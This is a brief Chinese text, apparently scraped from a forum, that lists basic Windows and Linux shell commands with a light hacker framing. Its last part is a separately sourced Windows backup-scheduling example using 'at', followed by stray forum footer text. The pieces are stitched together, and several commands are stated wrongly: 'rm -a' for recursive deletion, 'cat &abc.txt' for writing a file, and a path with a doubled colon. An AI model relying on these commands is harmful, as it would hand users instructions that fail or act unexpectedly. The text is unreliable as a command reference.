显示当前运行在本地和远程主机上的进程、服务、服务各进程的进程标识符(PID)。参数说明:/M 列出当前进程加载的dll文件,/SVC 显示出每个进程对应的服务,无参数时就只列出当前的进程。Linux系统下基本命令: 要区分大小写uname
显示版本信息(同win2K的 ver)dir
显示当前目录文件,ls -al 显示包括隐藏文件(同win2K的 dir)pwd
查询当前所在的目录位置cd
cd ..回到上一层目录,注意cd 与..之间有空格。cd /返回到根目录。cat 文件名
查看文件内容cat &abc.txt
往abc.txt文件中写上内容。more 文件名
以一页一页的方式显示一个文本文件。cp
复制文件mv
移动文件rm 文件名
删除文件,rm -a 目录名删除目录及子目录mkdir 目录名
建立目录rmdir
删除子目录,目录内没有文档。chmod 设定档案或目录的存取权限grep 在档案中查找字符串diff 档案文件比较find 档案搜寻date
现在的日期、时间who
查询目前和你使用同一台机器的人以及Login时间地点w 查询目前上机者的详细资料whoami
查看自己的帐号名称groups 查看某人的Grouppasswd 更改密码history 查看自己下过的命令ps 显示进程状态kill 停止某进程gcc 黑客通常用它来编译C语言写的文件su
权限转换为指定使用者telnet IP
telnet连接对方主机(同win2K),当出现bash$时就说明连接成功。ftp ftp连接上某服务器(同win2K)Windows 排程範例若要在 Windows 系統上啟動自動化的備份工作,排程服務必須執行中。您可以利用下列指令來啟動這個服務:
net start schedule如果排程服務正在執行中,則工作可以利用 at 指令來加以排程,這個指令是用來呼叫批次檔 backup.cmd (backup.cmd 的內容可以在Windows 的備份排程元素找到)。如果您想要在每個星期五的下午 8 點整執行這個指令,則必須呼叫下列指令:
at 20:00 /every:f cmd /c c::\db2\C21\sapscripts\backup.cmd

我要回帖

更多关于 安兴纸业 的文章

 

随机推荐